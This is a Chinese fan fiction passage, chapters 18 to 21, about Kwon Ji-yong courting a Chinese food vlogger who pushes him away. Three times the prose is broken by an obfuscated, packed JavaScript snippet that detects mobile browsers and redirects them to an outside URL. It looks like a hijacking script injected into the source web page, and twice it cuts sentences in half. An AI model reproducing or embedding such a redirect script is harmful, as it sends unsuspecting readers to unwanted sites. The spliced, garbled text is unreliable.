更重要的是她懒得玩。金欢这辈子最讨厌的事就是费劲。喜欢他,意味着要进入他的世界,要面对他的粉丝、他的公司、他的前任、他的情绪黑洞。她这点电量,应付自己的日子都勉强,哪有多的分给这些? 不值得。金欢对自己说,再喜欢也不值得。 她决定把这份好感掐灭在萌芽里。 金欢的执行力,在这件事上体现得淋漓尽致。 权至龙:“今天路过花店,看到一束芍药,想起你说你喜欢芍药。” 金欢:“嗯,芍药是挺好看的。” 权至龙:“护嗓茶喝完了,什么时候再给我配一点?” 金欢:“最近忙,你自己去药店买吧,配方我发你。” 一次两次,权至龙没在意。三次四次,他开始觉得不对劲了。 他给金欢打电话。以前金欢秒接,现在响五六声才接,接起来语气平淡:“怎么了?” “没什么,就是想听听你的声音。” “哦。我在剪视频,没什么事先挂了。” “等等——” 挂了。 权至龙盯着手机屏幕,眉头皱起来。 他又打了一次。这次金欢接了,语气里带着一点不耐烦:“又怎么了?” “你最近是不是心情不好?” “没有。” “那你怎么——” “我真的在忙。挂了。” 又挂了。 权至龙心想不对劲,太不对劲了。金欢以前再忙,也不会用这种语气跟他说话。她会说“我在剪视频,等会儿回你”,然后真的会回。现在什么都没有了。 权至龙开始撒娇,他发了一段视频:家虎趴在他腿上,他摸着狗头,用那种奶兮兮的声音说:“家虎啊,你欢欢怒那不理我了。我好难过。你帮我求求她好不好?” 金欢收到这条视频的时候正在吃泡面。她点开,看完,面无表情地关掉,继续吃面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484932|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权至龙:“你看家虎的眼神,它也在替我难过。” 金欢回了一个字:“哦。” 权至龙盯着这个“哦”字,感觉心脏被什么东西揪了一下。金欢以前不会只回一个“哦”的。她会回“家虎好可爱”“你少来”。她会回一串哈哈哈哈哈哈然后说“你戏真多”。 现在只有一个字。他开始卖惨。 “今天录了一天音,嗓子又哑了。护嗓茶喝完了,新的没买到。你上次说的那个罗汉果,药店说卖完了。” 金欢回:“多喝水。” “喝了。还是哑。” “那就少说话。” “我今天还没吃饭。录音录到现在,好饿。” “点外卖。” “不知道吃什么。你以前会给我推荐的。” 金欢隔了好几分钟才回:“泡菜汤吧,清淡。” 权至龙看着这条消息,手指在屏幕上悬了很久。她回了,但每一个字都像从冰柜里拿出来的。没有关心,没有追问,没有“你怎么又不好好吃饭”。 他打了一行字又删掉,反复了好几次。最后发了一句:“金欢,你是不是生我气了?” 过了很久,金欢回:“没有。你想多了。” “那你为什么——” “真的没有。我去洗澡了,晚安。” 权至龙看着“晚安”两个字,没有表情包,没有语气词,甚至连标点符号都是句号。 权至龙意识到金欢在渐渐疏远他。同时金欢也在努力克制自己的感情。她把权至龙送的东西锁进衣柜最深处,她告诉自己:忍过去就好了。好感这种东西,晾着晾着就凉了。她现在做的,就是不给它浇水、不给它阳光、不给它任何生长的机会。 权至龙发来的每一条消息,她都回了。但回得克制、冷淡、滴水不漏。 他说想她了,她回“忙完就好了”。 他说梦到她了,她回“梦都是反的”。 他说“老西,你什么时候再带我吃饭”,她回“最近都没空”。 金欢觉得自己做得很好。消息回了,不失礼;距离拉了,不动摇。她像个戒断反应患者,一边承受着想回他消息想到手指发痒的折磨,一边用理智把每一个冲动按下去。 权至龙又发来一条语音。金欢犹豫了一下,点开了。 他的声音哑哑的,带着一点鼻音,像刚睡醒又像很久没睡:“金欢,我今天去那家刀削面店了。老板问我之前一起来的那个中国女生怎么没来。我说她最近很忙。老板说,那你帮她打包一份带回去吧。我说不用了,她可能不想吃。” 金欢的手指停在屏幕上方。权至龙的声音低下去。 “金欢,你是不是不想吃了?” 金欢闭上眼睛,坐在黑暗里,听着窗外的雨声,听着自己心跳的声音。忍过去就好了,她对自己说,再忍一忍就好了。 手机又响了一下,她不想看,但手指不受控制地翻过手机。权至龙发来一张照片,那家刀削面店,他面前摆着两碗面。一碗他正在吃,另一碗放在对面,筷子整齐地架在碗上,配文只有四个字——留给你的。 金欢盯着那张照片,盯了很久,最终还是没有动。 那碗面终究是凉了,就像俩人的感情。 金欢没有去。 权至龙在店里坐了一个小时,把那碗给她留的面慢慢吃完。面坨了,汤凉了,老板过来收碗的时候看了他一眼,什么都没说,只是拍了拍他的肩膀。 走出店门的时候,首尔的夜风很大。权至龙把外套的领子竖起来,站在路边等车。手机屏幕亮了一下,他低头看——是金欢的消息,“面你吃了吧。别浪费。” 权至龙盯着这行字,手指在屏幕上悬了很久。然后他打了一行字:“金欢,我是不是做错了什么?” 消息发出去之后,显示已读,但没有回复。他等了一分钟、五分钟、十分钟。屏幕始终没有亮起来。 权至龙把手机放进口袋,仰起头,呼出一口白气,首尔的冬天快到了。 金欢在家里,坐在沙发上,把那条“我是不是做错了什么”看了无数遍。 窗外的雨还在下,金欢把手机放在茶几上,没有回复那条消息,她告诉自己,这是对的。 把好感掐灭在萌芽里,总比让它长成参天大树再连根拔起要好,长痛不如短痛。 19. 讨来的糖 权至龙喝了两杯威士忌才出门。不够醉,大脑清醒得可恨,每一根神经都指向同一个名字。但他需要这两杯酒垫底,需要酒精烧过喉咙的那一点热,来替他说那些清醒时说不出口的话。 车停在金欢公寓楼下。他抬头看那扇窗,灯亮着。 首尔的十一月,夜风已经带了刀。权至龙把大衣领子竖起来,靠在车门上,掏出手机。手指在通讯录上滑到她的名字,停了一瞬,然后按下去。 “喂?” 她的声音从听筒里传过来,隔了电流和十几层楼的距离,听起来有一点失真。权至龙握着手机的手收紧了一分。 “金欢。” “嗯?” “我在你楼下。你下来。我有话跟你说。” 电话那头安静了两秒。 “现在?” “现在。” “很晚了。” “我知道。” 又是一阵沉默,权至龙能听到她的呼吸声,轻轻的。然后她说了一句“等我一下”,挂断了。 单元门推开了,金欢穿着一件奶白色的毛衣裙,外面套了一件长到小腿的羽绒服,走到他面前。 “什么事?” 权至龙看着她。灯光把她的影子拉得很长,和他的影子交叠在一起。他想了一路的话,想了一万遍的措辞,在这一刻全部堵在喉咙里。 “金欢。” “嗯。” “我追你这么久了。” 夜风把他的声音吹散了一点,但金欢听清了。她的睫毛动了一下,然后垂下眼睛,看着地面。 “你别跟我说你没看出来。” 金欢抬起头,对上他的目光,表情很平静。 “看出来什么?” 权至龙愣住了。 “我们不是朋友吗?”她说。 四个字。权至龙觉得心脏被什么东西狠狠攥住了。不是疼,是一种比疼更难以忍受的感觉......像是你捧了一颗心走了很远很远的路,终于递到那个人面前,她看了一眼,说:这是什么? “朋友?”他的声音哑了,“你觉得我们这样是朋友?” “不是吗?” 权至龙往后退了半步。路灯的光落在他脸上,他的表情从期待变成困惑,从困惑变成难以置信。 “你给朋友做红烧排骨?你给朋友配护嗓茶?你——”他的声音哽了一下,“你跟朋友每天从早聊到晚?” 金欢的嘴唇动了一下,但没有发出声音。 “金欢,你看着我。” “你说,你对我,只是朋友。” 金欢看着他的眼睛。那双眼睛在路灯下亮得惊人,带着酒精的热度,带着这些天积攒的所有不解和委屈,带着一种她从未见过的脆弱。 她的手在羽绒服口袋里握紧了。 “只是朋友。”她说。 权至龙没有移开目光,他看了她很久。然后他笑了,笑得很轻,像是终于听懂了一个笑话的包袱。 “好。我知道了。” 他转过身,走了两步,又停下来。 “金欢。” 她没有应。 “你的耳朵红了。” 金欢下意识抬手摸了一下耳朵,她把手放下,但已经晚了。权至龙没有回头看她这个动作,他只是背对着她站了一会儿,然后拉开车门。 引擎发动,尾灯在夜色里拖出两道红,拐过街角,消失不见。 权至龙开出了三个街区,然后在路边停下来。 他没有哭,只是把双手搭在方向盘上,额头抵住手背,在首尔的深夜里坐了很久很久。他把自己的真心捧了一路,捧到金欢面前,然后她看都没看一眼。 他发动车子,没有回家,开到了江南那家常去的club。灯红酒绿,音乐震耳欲聋。权至龙坐在二楼的卡座里,面前摆了一排酒,没有叫人陪。有人认出他,过来敬酒,他来者不拒。有女生坐到他旁边,香水味浓得呛人,他看了一眼,没有赶人,也没有说话。 有人拍照了。他看到了镜头,但没有挡。爱拍就拍。爱怎么写怎么写。 权至龙和金欢?没有这个人。 第二天,照片就上了热搜。“GD夜店搂妹”“权至龙深夜买醉”“GD疑似新恋情”。评论区热闹得像菜市场,有人骂女生蹭热度,有人说不意外他一直这样。 金欢看到了。 她坐在客厅里,手机屏幕亮着,那条热搜挂在榜一。她点开照片,权至龙靠在沙发上,旁边坐着一个她不认识的女生,妆容精致,身材很好。他的表情看不清,灯光太暗,但她认得他握着酒杯的手势,指节分明,腕上的链子是她见过的那条。 金欢放下手机,继续剪下一期视频。 素材是上周拍的,她做了一锅卤味,对着镜头说“朋友们,这个卤味,香料比例是关键”。她看着屏幕里的自己笑得没心没肺,忽然觉得很陌生。 她按了暂停,把脸埋进手心里,留下了一行泪,是她先主动放弃的。 权至龙用工作塞满每一天。 早上八点到工作室,凌晨三四点才离开。Teddy早上来的时候,他已经戴着耳机坐在调音台前了,头发乱着,眼睛下面青黑一片,面前的咖啡是凉的,不知道放了多久。 “至龙啊,你昨晚没回去?” “回了。又来了。” 录音的时候,权至龙的要求变得苛刻到不近人情,太阳看不下去,拍了拍权至龙的肩膀:“差不多了,已经很好了。” 权至龙摘下耳机,没有看太阳,只说了两个字:“重来。” 练习生来送咖啡,手一抖洒了几滴在调音台上。权至龙抬眼看了他一眼,什么也没说,但那个眼神让那个十七岁的男孩差点当场哭出来。 从那以后,没人敢主动进他的工作室。 太阳跟CL在走廊里碰头。CL端着咖啡,面无表情地说了一句:“又开始了。” 太阳苦笑:“这次比以前都严重。” “以前是心情不好。这次是——”太阳想了想,“心被挖了一块。” “因为金欢?”CL问。 太阳点头。 “分了吗?” “好像根本没在一起。” CL沉默了一瞬,然后说了一句让太阳不知道怎么接的话:“那比在一起了再分手还惨。因为连失去的资格都没有。” 练习生们在私下里传:最近别去GD前辈的楼层。经纪人跟Teddy诉苦:你能不能劝劝他,再这样下去人都要熬废了。Teddy去敲了门,权至龙开门的时候手里还拿着笔,本子上密密麻麻写满了金欢的名字。Teddy看了一眼,什么都没说,关上门走了。 “出来喝酒。” 李朱赫收到消息的时候已经凌晨一点。 权至龙坐在那家他们常去的club角落里,面前的桌子上摆了一排瓶。空了好几个,还剩两瓶没开。他的头发乱着,眼睛红红的。 李朱赫在他对面坐下来,没有寒暄,直接开了一瓶酒给自己倒了一杯。 权至龙看着他倒酒的动作,忽然笑了:“你怎么不问我怎么了?” “还用问吗。”李朱赫端起酒杯碰了一下他面前的杯子,“金欢。” 听到这个名字,权至龙的笑容消失了。他把杯里的酒一口闷了,辣得他皱了皱眉。 “洙赫。” “嗯。” “你说,她要是不喜欢我,为什么给我做红烧排骨?” 李朱赫没接话。 “你说,她要是不喜欢我,为什么给我做果脯肉干?为什么要给我配护嗓茶?为什么要每天跟我分享她的日常?” 他的语速越来越快,声音越来越高,像要把这些天攒的所有疑问全部倒出来。酒意把他的理智泡软了,那些白天被骄傲锁住的话,此刻全部挣脱出来。 “你说,她要是不喜欢我,为什么——” “这不是你讨来的吗。” 权至龙的声音戛然而止。 李朱赫端着酒杯,语气平静得像在说今天的天气:“你说她给你做红烧排骨,是你发消息问的;你说她给你做果脯肉干,是你看到她给我做了,然后要的;你说她给你配护嗓茶,是你先说嗓子不舒服,她配的;你说是她跟你分享日常——” 他放下酒杯,看着权至龙。 “是你先给她发窗外的云,是你先给她发家虎刨土的视频,是你先给她发今天天气很好你吃了吗。是你先找她,她才回你。权至龙,你仔细想想——她哪一次主动过?” 权至龙的嘴唇动了一下。 “所以这些美好,”他的声音哑得像砂纸,“都是我硬讨来的?” 李朱赫看着他。 “讨来的怎么了?”他说,“讨来的糖,它就不是糖了吗?讨来的糖,它就不甜了吗?”(1) 权至龙低下头,盯着面前的酒杯。 “甜的。”他的声音很轻,“很甜。” “那不就完了。是糖,吃就完了。你管它是讨来的还是人家主动塞给你的?” “可是——”权至龙抬起头,眼眶红透了,“她为什么不让我继续讨了?我愿意讨,我愿意一直讨,讨一辈子都行。她为什么连讨的机会都不给我了?” 他的声音碎成一片一片的。 “为什么?” 眼泪掉下来的时候,权至龙自己都没有察觉。他只是觉得视线忽然模糊了,然后有什么温热的东西顺着脸颊滑下来,滴在桌面上。 一滴,又一滴。 李朱赫看着他——骄傲到骨子里的权至龙,从不在人前示弱的权至龙,此刻像一个被抢走了糖的孩子,哭得无声无息,哭得狼狈不堪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484933|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李朱赫掏出手机,打开相机,对准他。 咔嚓。 权至龙泪眼模糊地抬起头:“你干什么?” “拍照留念。”李朱赫面不改色,把照片存进相册,“权至龙为女人哭,这种场面一辈子能见几次。” “你——” 李朱赫没理他,低头把照片发给了金欢。配文只有一行字:他在夜店,哭得很惨。你想清楚。 消息显示已发送。已读,没有回复。 李朱赫把手机放在桌上,等了一分钟。屏幕始终没有亮起来。 权至龙趴在桌上,肩膀轻轻抖着。酒瓶里的液体随着他的呼吸微微晃动。李朱赫沉默了很久,然后开口。 “至龙啊。” “嗯。” “要不,咱们放弃吧。” 权至龙没有动。 “这个世界上女人那么多。你想要什么样的没有。金欢是很好,但也不是好到非她不可。你身边从来不缺人,随便挑一个都比现在这样强。你这样折磨自己,她也不知道,知道了也不在乎。” 权至龙慢慢直起身。他的眼睛红红的,睫毛上还挂着泪,但目光忽然变得很清,很定。 “你以为我没试过吗。” 李朱赫看着他。 “那天从她楼下离开,我就跟自己说,算了。女人而已,我权至龙不缺。那天晚上在club,有女生坐到我旁边。我看着她的侧脸——” “我在找金欢的影子。” “我看着那个女生的侧脸,想的是金欢。她笑的时候嘴角没有金欢好看。她拿酒杯的姿势没有金欢自然。她说话的声音没有金欢好听。” “我满脑子都是金欢。各种各样的时候金欢。做饭的金欢,吃我烤的肉说好吃的金欢,骑小电驴在银杏树下拍照的金欢,蹲在阳台上给花浇水的金欢,对着镜头说朋友们的金欢。” “我忘不掉。” 他抬起头,看着李朱赫。 “我试过了。试过用工作塞满每一天,试过去club,试过不看她动态,我以为不看她就不会想,但不看更想。” “洙赫,我真的试过了。” 李朱赫沉默了。 权至龙倒了一杯酒,没有喝,只是转着杯子。 “我从来没有这样过。以前喜欢一个人,喜欢就喜欢了,分手就分手了。我以为感情就是这样,来了就接住,走了就放走。但金欢——” 他的声音哽了一下。 “金欢不一样。” “哪里不一样?”李朱赫问。 权至龙想了很久,“我不知道。我只知道,想到她会跟别人在一起,我会疯。” “那就去追。” 权至龙抬起头。 “你刚才让我放弃。” “我改主意了。”李朱赫说,“既然放不下,那就去追。追到她答应为止。就算最后没有在一起,至少你努力过了,不会后悔。” 权至龙看着杯中的酒。酒面上倒映着他的脸,模糊的,破碎的,“我不可能后悔。” “因为金欢只能是我女朋友。”权至龙说,声音不大,但每一个字都像钉子钉进木头里,“我永远不可能让她成为别人的女朋友。” “所以我不可能后悔。” 李朱赫看着他的眼睛,那双眼睛里的泪痕还没干,但目光已经变了。不再是方才的脆弱和委屈,而是一种被泪水洗过之后更加清晰的坚定。 李朱赫忽然笑了。 “权至龙,你这个人真的很烦。” “我知道。” “追个人追成你这样,也是没谁了。” “我知道。” “但有一点你说对了——讨来的糖,也是糖,甜就够了,谁管它是怎么来的。” 权至龙端起面前的酒杯,一饮而尽。 李朱赫笑了一声,拿起手机看了一眼。金欢的聊天框依然安静,那条已读像一枚石子沉入海底,没有激起任何涟漪,他没有告诉权至龙自己发了那张照片。 “洙赫。” “嗯?” “明天陪我去买烤红薯。” 李朱赫看了他一眼。 “你要干嘛?” “讨糖。她不给我机会,我就自己创造机会。她不理我,我就理她。她装看不见,我就站到她面前,让她没法装。” “你确定?” “我确定。” 李朱赫看着他的背影,忽然想起很多年前第一次见到权至龙的样子。那时候他们都还年轻,权至龙的眼睛里全是野心和锋芒,像一把刚开刃的刀。这么多年过去了,那把刀被磨得更利了,但刀刃上多了一层温度。 那个温度叫金欢。 “走吧。”李朱赫走上前,拍了拍他肩膀,“先回去睡觉。你现在的样子去见金欢,她以为你从难民所逃出来的。” 20. 助攻 李朱赫和金希彻带着酒,还有一大袋下酒菜——炸鸡、辣炒年糕、鱿鱼丝等等。金希彻把袋子往茶几上一放,什么都没问,直接开了一瓶烧酒倒了三杯。 “喝。” 金欢看着那杯酒,没有动。 李朱赫在她对面的沙发上坐下来,目光从她脸上扫过......认识金欢这么多年,从来没见过她这个样子。金欢再懒再躺平,骨子里总有一股生机勃勃的劲儿,像一株向阳的植物,就算不施肥不浇水也能自己找到光。但此刻,那株植物蔫了。叶子耷拉着,根还在土里,但拒绝吸收任何养分。 “金欢。” “嗯。” “权至龙在工作室住了好几天了。” 金欢的手指动了一下,但没有说话。 “谁都没见。Teddy说他一天只睡两三个小时,剩下的时间全在写歌。写的什么不让任何人听。练习生经过他工作室门口都要绕道走,太阳去敲门他不开,CL给他发消息他不回。” 金欢端起面前的烧酒,一口闷了。烧酒辣得她皱起眉头,但没停,又给自己倒了一杯。 “金欢。”李朱赫的声音缓下来,“你到底在怕什么?” 金欢握着酒杯,没有回答。 “你怕他女人缘太好?他出道这些年,绯闻是多,但哪一段是他主动的?你比我清楚,他这个人,真要喜欢一个人,眼睛里是装不下的。你看他看你的眼神......我从没见过他用那种眼神看过任何人。” 金欢的手指收紧了一点。 “你怕他前女友多?金欢,他都快三十岁了,你要他之前是一张白纸吗?正因为他经历过那些,他才更清楚自己想要什么。你以为他分不清新鲜感和真心?他比谁都清楚。所以他才追了你这么久,被你拒绝了还放不下。” 金欢低着头,声音闷闷的:“我怕我hold不住他。” “你怕hold不住权至龙?金欢,你搞反了。现在是权至龙hold不住你。他被你拿捏得死死的,你一句话他能高兴三天,你一个‘哦’他能失眠一宿。你还怕hold不住他?” “那是因为他还没得到。”金欢的声音很轻,“得到了就不一样了。” 李朱赫放下酒杯。 “金欢,我跟他认识很多年了。”他的语气变得认真,一字一顿,“我从来没见过他这么认真过。” 金欢抬起头。 “他以前谈恋爱是什么样子,我不方便评价。但我知道他这次是什么样子。他为了你学中文,每天发语音纠正。他为了给你抢那只星黛露,四处托人,明洞那个抽选,他根本没中。他是托了几个朋友、加价才从别人手里买来的,他还不让我告诉你。他对你真的很上心。” 金欢的眼眶红了。 “你给他做的红烧排骨,他舍不得一次吃完,分成三份放在冰箱里,每天热一份。他说这样就能感觉你每天都给他做了饭。你给他配的护嗓茶,他喝完之后把茶包晾干留着。” 金欢低下头,眼泪掉在膝盖上,洇出深色的圆点。 “他对你真的不一样。”李朱赫说,“我不是在帮他说好话,我只是把我看到的告诉你。他这辈子没对谁这么上心过。” 金希彻端着酒杯,难得没有插科打诨。他看着金欢微微发抖的肩膀,轻声说了一句:“欢啊,你怕的那些东西,他也在怕。他怕你嫌他麻烦,怕你觉得他太复杂,怕你因为他那些过去就不要他。你以为只有你在害怕吗?” 金欢把脸埋进手心里,肩膀一抖一抖的。 林夕是第二天到的。 金欢打开门的时候,看到林夕站在门口,拖着一个行李箱。 “你怎么——” “别说话。先让我进去。” 林夕拖着箱子进了门,然后转过身看着金欢......伸出手,把金欢拉进怀里。 金欢僵了一下,然后把脸埋进林夕的肩膀上。 “你怎么来了……” “你说呢。”林夕的声音闷在她头发里,“你把自己关在家里多少天了?视频倒是定时更新,消息就爱回不回的,打电话声音跟从坟里爬出来似的。” 金欢没有说话。林夕抱着她,感觉到她的肩膀在微微发抖。 “哭了?” “……没有。” “金欢,我认识你这么多年了。你哭没哭我听声就知道。” 金欢终于没有再忍。她把脸埋在林夕肩膀上,哭得无声无息。眼泪洇湿了林夕的衣服,一大片。 林夕没有说话,只是抱着她,一只手轻轻拍着她的背。 哭完之后,金欢从林夕肩膀上抬起头。她的眼睛、鼻子红红的。 “好点了吗?”林夕问。 金欢点头。 “那现在说。到底怎么回事。” 金欢把事情从头讲了一遍,讲得断断续续,有些地方重复了好几遍,有些地方跳过去又折回来。林夕没有打断她,从头听到尾,一个字都没有漏。 金欢讲完之后,客厅里安静了很久。 “所以,你是喜欢他。”林夕说。不是疑问句,是陈述句。 金欢低下头。 “很喜欢。” “那你为什么不答应?” “我怕。” “怕什么?” 金欢沉默了几秒。“怕我hold不住他。怕他新鲜感过了就不要了。怕他的粉丝骂我。怕媒体盯着我。怕我现在的日子被搅得天翻地覆。怕......怕走到最后,相看两厌。” 林夕听完,没有立刻说话。她靠在沙发上,看着天花板,过了好一会儿才开口。 “欢欢,你还记得我大学那段吗?” “那个学长。追了我半年,在一起三个月。分手的时候他跟我说,林夕,你太认真了,我压力很大。那三个月我每天都在想,是不是我做得不够好,是不是我太黏人了,是不是我不够漂亮不够有趣。后来我才想明白......不是我不够好,是他不配。” “但我不后悔。那三个月我真的很开心。就算知道结局会分手,再来一次我还是会答应他。因为那三个月的开心是真的。我第一次给人织围巾,第一次半夜打电话打到睡着,第一次在宿舍楼下等一个人等到门禁。那些心动是真的,那些脸红是真的。结局不好,不代表过程没有意义。” 她的声音缓下来。 “欢欢,你已经喜欢上权至龙了。不是好感,不是有一点喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484934|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢,是喜欢。你骗不了我,你也骗不了你自己。” 金欢没有说话。 “去试试吧。”林夕说,“不试试怎么知道能不能走到最后?就算走不到最后,至少你不会在十年后想起这段日子,后悔自己当初连试的勇气都没有。后悔自己在青春里错过了一个那么喜欢的人。” “而且,你还有我呢。”林夕的声音忽然变得轻快起来,“天塌下来,姐妹给你兜底。他要是敢欺负你,我第一个去YG门口静坐。我做了他十年粉丝,脱粉回踩的战斗力你是知道的。” 金欢的眼眶红了又红,哭了又哭,最终被逗笑了。笑出来的时候,眼泪也跟着掉下来,混在一起,分不清是哭还是笑。 “但是,”林夕竖起一根手指,“不能让他太容易得手。” 金欢看着她。 “你现在答应他,他当然高兴。但太容易得到的,人往往不懂得珍惜。你得让他知道,金欢不是他权至龙说要就能要的。你得让他......”林夕想了想措辞,“付出代价。让他证明,他对你是认真的。不是一时新鲜感,是真心。” 金欢坐直了身体。 “怎么证明?” “看他接下来的表现啊。”林夕眨了眨眼睛,“你不是已经拒绝他了吗?拒绝之后一个人的反应,最能看出他是真的喜欢还是不甘心。不甘心的人会恼羞成怒,会觉得丢了面子,会转身找下一个。真心喜欢的人......” “会继续。” “对。会继续。就算被拒绝了,就算觉得没希望了,还是忍不住对你好。不是刻意的,是藏不住的。他要是真的喜欢你,他会让你看到的。” 金欢想起权至龙发的那些消息。被拒绝之后,他没有消失,没有翻脸。他依旧发信息,语气跟以前一样,像什么都没发生过,好像她拒绝他这件事,并没有改变他对她的态度。 金欢望着窗外的阳光,天空一片晴朗。 “那就......再看看吧。” “看他接下来怎么做?” “嗯。” 金欢笑了,拒绝权至龙这么多天来,第一次开心地笑了。 茶几上,金欢的手机屏幕亮了一下。 权至龙发来一张照片——一个烤红薯。 【今天路过这里,想起你说北京下雪的时候想吃烤红薯,给你买了一个。凉了就不好吃了,所以我替你吃了。】 金欢盯着那张照片,盯了很久。 “好吃吗?” 消息发送,已读。 权至龙秒回:“好吃。但没有你做的红烧排骨好吃。” “那你还替我吃。” 权至龙:“我怕凉了。凉了就不好吃了。” 金欢:“借口。” 权至龙发了一个委屈的表情包——小狗耷拉着耳朵。 金欢盯着那个表情包看了三秒,然后打字:“下次。买两个。” 消息发出去之后,她几乎能想象权至龙看到地表情——眼睛会先愣一下,然后慢慢亮起来,嘴角的弧度会从微微上扬变成藏不住的笑。他一定会秒回,一定会说好,一定会加一个傻乎乎的表情包。 金欢的眼睛还是红的,但目光已经不空了。 21. 温水煮青蛙 权至龙依旧继续着每天的问候聊天。 金欢第一次收到的时候,看了一眼,没回。第二次,看了一眼,还是没回。第三次,她忍不住了,打了两个字:“你是天气预报吗?天天给我播放天气情况。” 权至龙:“不是。只是想让你看看我看到的。” 金欢的耳朵又开始泛红了。 权至龙还托李朱赫送金欢东西。那天李朱赫来她家蹭饭,进门的时候手里拎着一个纸袋,随手放在茶几上。“朋友送的。我不做手工,你拿去吧。” 金欢打开袋子,把里面的东西拿出来——一卷蜡线,各式各样的珠子,玉髓的、玛瑙的、檀木的,颜色从墨绿到酒红不等;几包银质的连接扣和搭扣,做工精致;还有一把小钳子。 “你那个朋友,”金欢拿起一卷蜡线,对着光看了看,“是不是姓权?” 李朱赫正在喝水,动作顿了一下。“……你怎么知道。” “因为这些东西,”金欢把蜡线放回袋子里,“我前不久刚在视频里说过想试试。” 金欢低头看着袋子里的材料。蜡线的颜色是她视频里提过的,珠子的品类是她某次随口说的最近喜欢玉髓和玛瑙,连那把钳子的品牌,都是她点赞过的一条手工博主力荐的。 “他看了多少遍。”金欢轻声说。 李朱赫放下水杯。“你所有视频,他至少看三遍。一遍正常看,一遍截图做笔记,一遍——” “一遍什么?” “一遍只看你。” 金欢没有接话。她把材料一样一样收回袋子里,突然发现袋子底部还有东西,她伸手摸出来......一张便签,上面是权至龙歪歪扭扭的字迹。 【蜡线我试过了,这个粗细最好编。珠子孔径不一样,小的配细线,大的配粗线。别搞错了。】 金欢盯着那行字,嘴角动了动,不知道是想笑还是想叹气。 “他是不是还自己试过编绳。” 李朱赫想起权至龙前几天发给他的一张照片——工作台上散落着好几段编废的蜡线,粗细不一的珠子滚得到处都是。 “试过。”李朱赫说,“编了好几个晚上。手指被钳子夹了好几次。” 金欢沉默了。她把便签翻过来,背面还有一行更小的字:“如果编不好,没关系。材料还有很多。我可以一直给你买,买到你编出最满意的那条为止。” “洙赫欧巴。” “嗯。” “你回去告诉他,第一件做出来——” 李朱赫放下水杯,打断了她。 “第一件给我。” 金欢愣了一下。 “材料是我送来的,你手艺练好了第一件成品,归我。” 金欢看着他,嘴角抽了抽,“你刚才不是说你不做手工?” “我不做。但我可以戴。”李朱赫理直气壮,“或者收藏。或者放在家里落灰。” “……你这叫占着茅坑不拉屎。” “这叫投资。”李朱赫纠正她,“我付出了跑腿的劳动,承担了被权至龙追问金欢喜不喜欢那些材料的精神损失,还要忍受他每天发十几条消息跟我说他又发现了哪家好吃的店。我的投入和产出应该成正比。” 金欢忍不住笑了。她靠在沙发上,看着李朱赫那张一贯冷淡的脸,忽然明白了什么。 “你不是想要我的手工。” 李朱赫没有否认。 李朱赫端起水杯,慢悠悠地喝了一口。“你猜他看到你做的第一件饰品戴在我身上,会是什么反应?” 金欢想象了一下那个画面——权至龙盯着李朱赫手腕上的编织绳链,眼睛会先亮一下,认出那是她做的。然后开始委屈——为什么第一条不是给我的?材料是我挑的,蜡线是我试过的,珠子是我一颗一颗选的。你做好了,却给了洙赫? “他会偷偷难过。”金欢轻声说。 “嗯。”李朱赫点头,“然后我就可以顺理成章的敲诈他。” 金欢看着他,忽然笑了一下。 “洙赫欧巴。” “你有没有想过,万一我做出来的第一条很丑呢?” 李朱赫沉默了一瞬。他低头看了看茶几上那卷被金欢拆开的蜡线——线头已经被她编成了一个小小的平结,整整齐齐,纹路匀称,完全不像第一次编的人能编出来的样子。他抬起头,看着金欢。 “你不会。” 李朱赫认识金欢这么多年,知道她嘴上说着懒,说着躺平,但真正做起事来,她比谁都认真。 “那第一件归我了。”李朱赫说。 金欢想了想。“行。第一件归你。” “第二件给权至龙。” 金欢看着李朱赫那张写满了我是为朋友好的脸,忽然觉得权至龙有这样一个朋友,不知道是幸运还是不幸。 权至龙发来消息,“今天路过东庙,看到一盒老珠子。老板说是八十年代的琉璃,我不懂,拍了照片。你看看,喜欢的话我明天去买。” 下面跟着好几张照片,从各个角度拍的珠子,特写镜头里能看到琉璃表面细微的开片纹路。最后一张是老板的名片,摊位的门牌号。 金欢把照片放大,一颗一颗地看。琉璃珠的颜色是老旧的,不鲜艳,但每一颗的光泽都不一样——有的偏蓝,有的偏绿,有的在灯光下泛出琥珀色的暖光。 “他连八十年代的琉璃都开始找了。”金欢轻声说。 李朱赫看了一眼那些照片。“他说了,你不喜欢他就继续找。找到你喜欢为止。” 金欢:“别乱买。我下次跟你一起去挑。” 权至龙发了一个小鸡疯狂点头的表情包。 李朱赫站起来,把外套搭在手臂上。“走了。” “不吃完饭再走?” “不了。再待下去我怕忍不住告诉他,他排第二。” 